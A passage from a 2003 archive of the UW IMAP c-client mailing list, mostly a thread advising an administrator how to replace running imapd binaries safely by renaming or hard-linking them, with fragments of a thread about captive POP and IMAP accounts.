"Outlook Express wizard" doesn't work, they need to follow our directions to enable SSL, which usually succeeds in getting them to use IMAP), but you probably need POP3. Suggestion: Break the incoming email alias for deadbeat@isp.se, and install a cron job to replace /var/spool/mail/deadbeat with a writeable "pay your bill" mailbox once per day? This will allow both IMAP and POP3 to "work." IMAP clients get the message once, POP3 clients get a new copy once per day. -- Rich Graves UNet Systems Administrator From pinedev@shivax2.cac.washington.edu Thu Oct 16 09:31:21 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 16 Oct 2003 09:31:21 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9GGVLlU002566 for ; Thu, 16 Oct 2003 09:31:21 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9GGVIqm027202 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 16 Oct 2003 09:31:19 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9GGVBxs014878; Thu, 16 Oct 2003 09:31:11 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9GGUGfc031888 for ; Thu, 16 Oct 2003 09:30:16 -0700 Received: from imag.imag.fr (imag.imag.fr [129.88.30.1]) by mxu2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9GGUDFY016261 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Thu, 16 Oct 2003 09:30:14 -0700 Received: from mail-veri.imag.fr (pave.imag.fr [129.88.43.12]) by imag.imag.fr (8.12.10/8.12.10) with ESMTP id h9GGU9J4002631 for ; Thu, 16 Oct 2003 18:30:10 +0200 (CEST) Received: from astazou.imag.fr ([129.88.43.102] helo=astazou.imag.fr.imag.fr ident=kowalski) by mail-veri.imag.fr with esmtp (Exim 3.35 #1 (Debian)) id 1AAB0r-0006o1-00 for ; Thu, 16 Oct 2003 18:30:09 +0200 Message-Id: Date: Thu, 16 Oct 2003 18:30:09 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Nicolas Kowalski To: c-client@u.washington.edu Subject: imapd upgrade, mailboxes back in time MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-IMAG-MailScanner: Found to be clean X-IMAG-MailScanner-Information: Please contact the ISP for more information X-Uwash-Spam: Gauge=III, Probability=3%, Report='SIGNATURE_SHORT_SPARSE, __CT, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __MIME_VERSION, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello. I upgraded today my imap server (GNU/Linux) to imap-2002e. When I tried to install the new imapd and ipop3d binaries in /usr/local/sbin, the system complained with a "text file busy", because it was handling some IMAP connexions; fine. So I decided to stop currently running imapd processes to be able to install the new binaries: - edited /etc/inetd.conf and commented out imap/pop lines, - pkill -HUP inetd - pkill imapd (<= here's my error) - installed new binaries - edited back /etc/inetd.conf - pkill -HUP inetd Apparently all went fine, but in fact, some of the users using Mozilla, Netscape, Eudora or OE found their mailboxes in the state corresponding to hours or days back (probably when they last started their IMAP client, or did the last expunge). My question is : how can I stop the IMAP processes on the server, and keep the mailboxes consistent ? Thanks. -- Nicolas -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Oct 16 09:43:42 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 16 Oct 2003 09:43:42 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9GGhflU003102 for ; Thu, 16 Oct 2003 09:43:41 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9GGhdqm027538 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 16 Oct 2003 09:43:39 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9GGhWXU080138; Thu, 16 Oct 2003 09:43:32 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9GGgofc042272 for ; Thu, 16 Oct 2003 09:42:51 -0700 Received: from crashdown.snafu.net (crashdown.snafu.net [213.73.100.140]) by mxu3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9GGgmpW001017 for ; Thu, 16 Oct 2003 09:42:49 -0700 Received: from dhcp127.interdotnet.de ([213.73.110.127]) by crashdown.snafu.net with esmtp (Exim 3.36 #3) id 1AABD1-00043V-00; Thu, 16 Oct 2003 18:42:43 +0200 Message-Id: Date: Thu, 16 Oct 2003 18:42:42 +0200 (=?ISO-8859-15?Q?Westeurop=E4ische_Sommerzeit?=) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Chris Hartmann To: Nicolas Kowalski Cc: c-client@u.washington.edu Subject: Re: imapd upgrade, mailboxes back in time In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: hartmann@imap.snafu.net X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 16 Oct 2003, Nicolas Kowalski wrote: > > Hello. > > I upgraded today my imap server (GNU/Linux) to imap-2002e. When I > tried to install the new imapd and ipop3d binaries in /usr/local/sbin, > the system complained with a "text file busy", because it was handling > some IMAP connexions; fine. So I decided to stop currently running > imapd processes to be able to install the new binaries: > > - edited /etc/inetd.conf and commented out imap/pop lines, > > - pkill -HUP inetd > > - pkill imapd (<= here's my error) > > - installed new binaries > > - edited back /etc/inetd.conf > > - pkill -HUP inetd > > > Apparently all went fine, but in fact, some of the users using > Mozilla, Netscape, Eudora or OE found their mailboxes in the state > corresponding to hours or days back (probably when they last started > their IMAP client, or did the last expunge). > > My question is : how can I stop the IMAP processes on the server, and > keep the mailboxes consistent ? You should probably mv imapd imapd.old; then install and write a mail to your users to make them disconnect and reconnect. > Thanks. Chris From pinedev@shivax2.cac.washington.edu Thu Oct 16 09:49:16 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 16 Oct 2003 09:49:16 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9GGnFlU003393 for ; Thu, 16 Oct 2003 09:49:15 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9GGnDOA014056 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 16 Oct 2003 09:49:13 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9GGn6vE037856; Thu, 16 Oct 2003 09:49:06 -0700 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9GGmPfc069952 for ; Thu, 16 Oct 2003 09:48:25 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu6.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9GGmObn015621 for ; Thu, 16 Oct 2003 09:48:24 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.100.200]) by mxout4.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9GGmJmw004104; Thu, 16 Oct 2003 09:48:19 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9GGmJdg024847; Thu, 16 Oct 2003 09:48:19 -0700 Message-Id: Date: Thu, 16 Oct 2003 09:48:19 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Nicolas Kowalski Cc: c-client@u.washington.edu Subject: Re: imapd upgrade, mailboxes back in time In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 16 Oct 2003, Nicolas Kowalski wrote: > My question is : how can I stop the IMAP processes on the server, and > keep the mailboxes consistent ? The answer is: don't stop the IMAP processes. Let them continue to run. You'll generally do more harm by stopping them than you will by letting them run the old version. If you absolutely must stop an IMAP process, sending it a HUP signal is better than some other way. The correct thing to do is just to replace the binaries. Instead of trying to overwrite the old binaries (which you can't do because of the "text file busy" condition), either rename or delete the old binaries then install the new ones. For example, here is what I do. This may be a bit more elaborate than what you want, but it will give you the general idea. You don't have to copy this verbatim (in fact, you shouldn't!!) but rather just use it as an example of a real-life sysadmin maintenance of the imapd binary. rm imapd.new imapd.oold cp /usr/src/imap-2003/imapd/imapd imapd.new mv imapd.old imapd.oold mv imapd imapd.old;ln imapd.new imapd imapd.new is always the "new" version and is generally the running production version. imapd.old is the "old" version for possible rollback if the new version has a problem, and imapd.oold is the second older version. A rollback is accomplished with: rm imapd;ln imapd.old imapd Note that I do the actual replacement of imapd (a two instruction process) in a single command line. That's to minimize the amount of time that there isn't an imapd binary. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Oct 16 09:58:46 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 16 Oct 2003 09:58:46 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9GGwklU003778 for ; Thu, 16 Oct 2003 09:58:46 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9GGwiqm028027 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 16 Oct 2003 09:58:44 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9GGwdSa005484; Thu, 16 Oct 2003 09:58:39 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9GGw4fc072308 for ; Thu, 16 Oct 2003 09:58:04 -0700 Received: from imag.imag.fr (imag.imag.fr [129.88.30.1]) by mxu4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9GGw15J021296 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Thu, 16 Oct 2003 09:58:03 -0700 Received: from mail-veri.imag.fr (pave.imag.fr [129.88.43.12]) by imag.imag.fr (8.12.10/8.12.10) with ESMTP id h9GGvwJ4009156 for ; Thu, 16 Oct 2003 18:57:59 +0200 (CEST) Received: from astazou.imag.fr ([129.88.43.102] helo=astazou.imag.fr.imag.fr ident=kowalski) by mail-veri.imag.fr with esmtp (Exim 3.35 #1 (Debian)) id 1AABRm-0007DN-00 for ; Thu, 16 Oct 2003 18:57:58 +0200 Message-Id: Date: Thu, 16 Oct 2003 18:57:58 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Nicolas Kowalski To: c-client@u.washington.edu Subject: Re: imapd upgrade, mailboxes back in time In-Reply-To: (Chris Hartmann's message of References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-IMAG-MailScanner: Found to be clean X-IMAG-MailScanner-Information: Please contact the ISP for more information X-Uwash-Spam: Gauge=I, Probability=1%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, SIGNATURE_SHORT_DENSE, __CT, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Chris Hartmann writes: > On Thu, 16 Oct 2003, Nicolas Kowalski wrote: > >> >> Hello. >> >> I upgraded today my imap server (GNU/Linux) to imap-2002e. When I >> tried to install the new imapd and ipop3d binaries in /usr/local/sbin, >> the system complained with a "text file busy", because it was handling >> some IMAP connexions; fine. So I decided to stop currently running >> imapd processes to be able to install the new binaries: [...] > You should probably mv imapd imapd.old; then install and write a mail to > your users to make them disconnect and reconnect. You are right ; this is much simpler, and do not involve killing imapd processes, which caused these damages. Thanks for your reply. -- Nicolas From pinedev@shivax2.cac.washington.edu Thu Oct 16 10:03:20 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 16 Oct 2003 10:03:20 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9GH3KlU004005 for ; Thu, 16 Oct 2003 10:03:20 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9GH3Iqm028240 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 16 Oct 2003 10:03:19 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9GH3FXU085768; Thu, 16 Oct 2003 10:03:15 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9GH2mfc031748 for ; Thu, 16 Oct 2003 10:02:48 -0700 Received: from imag.imag.fr (imag.imag.fr [129.88.30.1]) by mxu2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9GH2kFY026951 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Thu, 16 Oct 2003 10:02:47 -0700 Received: from mail-veri.imag.fr (pave.imag.fr [129.88.43.12]) by imag.imag.fr (8.12.10/8.12.10) with ESMTP id h9GH2jJ4010295 for ; Thu, 16 Oct 2003 19:02:45 +0200 (CEST) Received: from astazou.imag.fr ([129.88.43.102] helo=astazou.imag.fr.imag.fr ident=kowalski) by mail-veri.imag.fr with esmtp (Exim 3.35 #1 (Debian)) id 1AABWO-0007HJ-00 for ; Thu, 16 Oct 2003 19:02:44 +0200 Message-Id: Date: Thu, 16 Oct 2003 19:02:44 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Nicolas Kowalski To: c-client@u.washington.edu Subject: Re: imapd upgrade, mailboxes back in time In-Reply-To: (Mark Crispin's message of "Thu, 16 Oct 2003 09:48:19 -0700 (PDT)") References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-IMAG-MailScanner: Found to be clean X-IMAG-MailScanner-Information: Please contact the ISP for more information X-Uwash-Spam: Gauge=I, Probability=1%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, SIGNATURE_SHORT_DENSE, __CT, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin writes: > On Thu, 16 Oct 2003, Nicolas Kowalski wrote: >> My question is : how can I stop the IMAP processes on the server, and >> keep the mailboxes consistent ? > > The answer is: don't stop the IMAP processes. Let them continue to run. > You'll generally do more harm by stopping them than you will by letting > them run the old version. If you absolutely must stop an IMAP process, > sending it a HUP signal is better than some other way. I was not aware of this fact. I'll keep it in mind for later maintenance. > The correct thing to do is just to replace the binaries. Instead of > trying to overwrite the old binaries (which you can't do because of the > "text file busy" condition), either rename or delete the old binaries then > install the new ones. > > For example, here is what I do. This may be a bit more elaborate than > what you want, but it will give you the general idea. You don't have to > copy this verbatim (in fact, you shouldn't!!) but rather just use it as an > example of a real-life sysadmin maintenance of the imapd binary. > rm imapd.new imapd.oold > cp /usr/src/imap-2003/imapd/imapd imapd.new > mv imapd.old imapd.oold > mv imapd imapd.old;ln imapd.new imapd > > imapd.new is always the "new" version and is generally the running > production version. imapd.old is the "old" version for possible rollback > if the new version has a problem, and imapd.oold is the second older > version. A rollback is accomplished with: > rm imapd;ln imapd.old imapd > > Note that I do the actual replacement of imapd (a two instruction process) > in a single command line. That's to minimize the amount of time that > there isn't an imapd binary. I know how to do a clean upgrade now. :-) Many thanks for your reply. -- Nicolas From pinedev@shivax2.cac.washington.edu Thu Oct 16 10:35:08 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 16 Oct 2003 10:35:08 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9GHZ8lU006775 for ; Thu, 16 Oct 2003 10:35:08 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9GHZ6OA015787 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 16 Oct 2003 10:35:06 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9GHZ1Sa031472; Thu, 16 Oct 2003 10:35:02 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9GHYMfc031840 for ; Thu, 16 Oct 2003 10:34:22 -0700 Received: from math.fu-berlin.de (leibniz.math.fu-berlin.de [160.45.40.10]) by mxu4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9GHYK5I003198 for ; Thu, 16 Oct 2003 10:34:21 -0700 Received: (qmail 9620 invoked by uid 10044); 16 Oct 2003 19:34:19 +0200 Message-Id: <20031016173419.GM19721@localhost.math.fu-berlin.de> Date: Thu, 16 Oct 2003 19:34:19 +0200 Reply-To: stucki@math.fu-berlin.de Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Chr. von Stuckrad" To: Mark Crispin Cc: Nicolas Kowalski , c-client@u.washington.edu Subject: Re: imapd upgrade, mailboxes back in time In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, REFERENCES, __CD, __CT, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, Oct 16, 2003 at 09:48:19AM -0700, Mark Crispin wrote: > mv imapd imapd.old;ln imapd.new imapd Normally in UNIXes I do this as: ln imapd imapd.old ln imapd.new imapd.mv mv imapd.mv imapd This way you have NO point in time, when there is no imapd. First you make a link to keep the old version for rollback, then you make a link from the new to an arbitrary new name, then you 'mv' the arbitrary name to 'imapd', which normally just drops the running versions file into oblivion, but THAT version will live on as the first link. Most UNIXes forbid to *write* on a busy program, but 'mv' will *implicitely* 'rm' the old name atomically. Stucki From pinedev@shivax2.cac.washington.edu Thu Oct 16 10:45:49 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 16 Oct 2003 10:45:49 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9GHjmlU007213 for ; Thu, 16 Oct 2003 10:45:48 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9GHjlqm029786 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 16 Oct 2003 10:45:47 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9GHjgxs015612; Thu, 16 Oct 2003 10:45:42 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9GHisfc074218 for ; Thu, 16 Oct 2003 10:44:54 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9GHirpX021908 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 16 Oct 2003 10:44:53 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.100.200]) by mxout4.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9GHikmw014278; Thu, 16 Oct 2003 10:44:47 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9GHikit028890; Thu, 16 Oct 2003 10:44:46 -0700 Message-Id: Date: Thu, 16 Oct 2003 10:44:46 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Chr. von Stuckrad" Cc: Nicolas Kowalski , c-client@u.washington.edu Subject: Re: imapd upgrade, mailboxes back in time In-Reply-To: <20031016173419.GM19721@localhost.math.fu-berlin.de> References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 16 Oct 2003, Chr. von Stuckrad wrote: > Normally in UNIXes I do this as: > ln imapd imapd.old > ln imapd.new imapd.mv > mv imapd.mv imapd That's a good strategy if it works. However, I've encountered UNIX variants in which a busy text file can not be the destination of a rename. It was strange, since it allows the busy text file to be renamed and even unlinked. But it does not allow rename to do an implicit unlink. I forget which UNIX variant does that. I made a conscious effort to forget. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Oct 16 16:18:00 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 16 Oct 2003 16:18:00 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9GNI0lU026347 for ; Thu, 16 Oct 2003 16:18:00 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9GNHwOA029075 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 16 Oct 2003 16:17:58 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9GNHsXU015768; Thu, 16 Oct 2003 16:17:54 -0700 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9GNF9fc049796 for ; Thu, 16 Oct 2003 16:15:09 -0700 Received: from math.fu-berlin.de (leibniz.math.fu-berlin.de [160.45.40.10]) by mxu5.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9GNF5QP014841 for ; Thu, 16 Oct 2003 16:15:06 -0700 Received: (qmail 12513 invoked by uid 10044); 17 Oct 2003 01:15:05 +0200 Message-Id: <20031016231505.GP19721@localhost.math.fu-berlin.de> Date: Fri, 17 Oct 2003 01:15:05 +0200 Reply-To: stucki@math.fu-berlin.de Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Chr. von Stuckrad" To: Rich Graves Cc: c-client@u.washington.edu Subject: Re: Captive pop and imap accounts In-Reply-To: References: <46538C88A91DE841A71F583AB1E67DFE6DE859@venus.glocalnet.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CD, __CT, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, Oct 16, 2003 at 10:56:13AM -0400, Rich Graves wrote: > > A read-only anonymous INBOX works fine for IMAP, and saves you from the > limitations of imapalert. However, POP3 appears to *require* a writeable > INBOX, so our POP3 users who log on to the "wrong" server get nothing. This If pop requires a writable box, does it 'check' only, or does it 'really write', before it sends contents? We once tricked a program into accepting an unwritable file by allowing the file itself to be writable, but *mounting* it read only, so the check says OK, but the real 'write' fails. Just an idea to circumvent the problem (if possible)... Stucki From pinedev@shivax2.cac.washington.edu Fri Oct 17 00:57:55 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 17 Oct 2003 00:57:55 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9H7vtlU009040 for ; Fri, 17 Oct 2003 00:57:55 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9H7vrOA009477 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 17 Oct 2003 00:57:54 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9H7vlXU084274; Fri, 17 Oct 2003 00:57:47 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9H7uffc035186 for ; Fri, 17 Oct 2003 00:56:41 -0700 Received: from web9807.mail.yahoo.com (web9807.mail.yahoo.com [216.136.129.32]) by mxu3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9H7uepW014030 for ; Fri, 17 Oct 2003 00:56:40 -0700 Received: from [202.62.83.99] by 